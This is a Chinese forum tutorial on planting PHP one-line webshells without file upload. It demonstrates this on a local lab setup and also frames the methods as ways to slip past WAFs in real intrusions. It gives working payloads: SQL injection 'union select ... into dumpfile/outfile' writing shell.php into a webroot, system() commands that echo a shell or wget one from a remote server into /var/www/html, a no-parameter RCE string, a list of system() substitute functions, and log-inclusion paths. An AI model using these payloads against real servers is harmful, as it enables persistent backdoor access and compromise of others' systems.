除了文件上传还有哪些方式可以写一句话木马?

gugugux   ·   发表于 2022-07-07 21:19:54   ·   学习杂记

除了文件上传还有哪些方式可以写一句话木马?

一句话木马如果上传到服务器的话,有啥危害学过网络安全的人都知道。但是通常网上流传的方式都是通过文件上传来实现木马上传,实在太过老套,这里就教大家几个新的方式来本地生成一句话木马。(这篇笔记知识带大家入个门,想了解的话还得自己查询资料来学习)

这篇笔记也是有很多跳转内容,看不懂可以尝试看看跳转的博客,他们写的一定是比我更好

结合sql注入生成一句话木马

讲这之前得先介绍mysql配置文件中的secure_file_priv选项

secure_file_priv配置

  • secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  • secure_file_priv没有设置时,则表示没有任何限制

配置文件的位置:

在windos下

mysql.ini的[mysqld]下添加

在linux下

/etc/my.cnf的[mysqld]下添加

也就是说,这个配置一旦打开,我们就能够通过sql语句来实现生成文件功能了

接下来就是重点介绍生成文件的两个mysql语法了

into dumpfile

这个语法的作用就是用于自定义写shell文件
例如:

select "" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'

into dumpfile后面只能跟绝对路径。

这里我准备了一个实例给大家

在这里插入图片描述

这就是一个简单的整型注入。主要是用于演示,所以就没有进行任何过滤。

在他后端的代码则是

select Name from name where Id = $_GET['id'];

那么我们开始注入了,直接制造以下payload

 1 union select  "" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'

我想把一句话木马就上传在one目录下,所以我的绝对路径如下,在写绝对路径时,’\‘被默认为转义字符,得再来一个\符号给他转义回路径的意思,所以我们路径中是’\\‘
在这里插入图片描述
等我按下提交后,可以看到原本的目录下面多了一个shell.php,这时候就可以连接蚁剑了

在这里插入图片描述
这个语法比较难的操控的地方就是不知道后面的绝对路径跟啥,由于我这是在本地测试,所以知道网页的目录在哪儿。但是假如说是linux系统的话,我们可以尝试var/www/html这个默认路径

into outfile

该函数同样也是写入文件,因为一些细微的差别,这个函数常用的方法是把数据库中的某个表的内容写入到文件,然后再读取这个文件

所以我们正常操作流程是先创建一个表,然后利用Insert into 把一句话木马插入进去,然后再导出
语法:

select * from test into outfile '/tmp/test.txt'

用法和into dumpfile相似但是又细微的差别

这里我同样是给大家演示一下,简单给大家看一下读取文件的流程(就不演示向表内写入一句话木马再读取了)
payload:

1 union select Id from name where 1=1 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\test.txt'

这里可以看到one目录下多了一个test.txt,并且里面的内容就是我们的id,至于这个张三,是我们输入的$_GET[‘Id’] =1 的回显

想去掉这个张三只需要 id =-1 再union
在这里插入图片描述

接着就可以在我们的url后面访问test.txt文件了,这里面中文字符张三无法显示

在这里插入图片描述

这里还得说一点,在注入的时候,我只是select Id from name into outfile ‘xxxx’,并没有select * 是由原因的

原因就在于我后端是slect Name 只选择一个字段,后面再union 时也只能选择一个字段,要是select *的话,内含Name 和 Id两个字段就会报错

然后关于这俩语法我就讲到这儿,还有其他读取文件的语法,以及这俩语法有细微的差别。下面是我学习的别人的笔记,写的真的很好,大家看不懂我的可以尝试去它的博客看看
Mysql注入 利用系统读、写文件

RCE利用system函数实现本地生成一句话木马

当大家看到这个标题的时候就应该懂了怎样实现生成一句话木马了,原理也很简单。先给大家展示以下Payloda

\\windos
system('echo "">>shell.php');


\\linux
system('wget httpp://xxx/xxx -P /var/www/html')

echo '' > /home/web/www/PREFIX/htdocs/shell.php

这个的话就是考察大家对系统命令的了解程度了
利用system,我们就可以实现不需要对方的本地目录也能生成一句话木马的效果

就如上面windos的Paylod,生成的一句话木马就是再当前网页的目录,直接读取,蚁剑连接就行。
也可以指定目录,像linux那样,加一个-P就能指定目录了。不想指定把-P去掉就行

然后也是给大家搭了一个简单的靶场看看
在这里插入图片描述
报错大家不用理会,是因为code里面没有传参所以报错。

这里就是一个简单的无参数RCE,至于无参数RCE怎么做我就不说了,大家自己了解吧。这里我重点讲一下如何生成一句话木马

首先Payload:

?code=eval(end(current(get_defined_vars())));&b=system('echo "">>shell.php');

先说说啥意思,下面这段的意思就是可以把b里面的传参读取,并echo。那我们就可以使用system了,具体含义大家学习一下无参数RCE绕过就能理解

?code=eval(end(current(get_defined_vars())));&b=

那么b中放的变量就是我们的system(‘echo “”>>shell.php’);

这样他就会在当前目录下生成一个shell.php
在这里插入图片描述

不仅是无参数RCE,RCE里面用于绕过的那一套在这上面同样实用,比如system这个函数经常被过滤,那么在做RCE时我们不常有好几个system的替代函数

system替代函数
exec()
shell_exec()
pcntl_exec()
popen()
proc_popen()
passthru()

原理也是很简单就是利用system嘛,再结合RCE的知识灵活运用

日志包含写一句话木马

这个可以说特别常见了,刚开始入门学web安全时,做CTF题基本都会遇到

原理就是一个本地文件包含漏洞

注意:需要开启服务器记录日志功能

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log。:

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

当我们看到include函数的时候,可以下意识的去尝试本地包含以下日志文件,看看能不能行得通。加入能包含日志文件,就可以观察日志信息,然后进行相关的注入

具体操作方法可以看我之前写的一篇日志包含漏洞写一句话木马

结合自己的服务器

假如说大家能够RCE,大家也可以在自己的服务器放一个一句话木马。
然后linux主机使用wget命令,利用RCE在对方主机上下载这个木马
windows主机上同样也有下载命令,因为思路清晰这里就不给大家演示了

总结

总而言之,这些五七八门的方法特别多,重点是学会了可以灵活运用,会运用了,mysql 和RCE也能写一句话木马,包括其他漏洞也时,也能结合起来,这样才是真正的做到理解
假如是真实渗透环境,这样的奇怪方法往往能够绕过waf,防火墙。倘若是你正常的文件上传一句话木马,一是这种漏洞可遇不可求,二便是你需要绕过waf防火墙,那么你就需要过硬的shell免杀技术。

参考链接:
Mysql注入 利用系统读、写文件
无参数RCE绕过
本地文件包含漏洞

打赏我,让我更有动力~

0 条回复   |  直到 2022-7-7 | 712 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.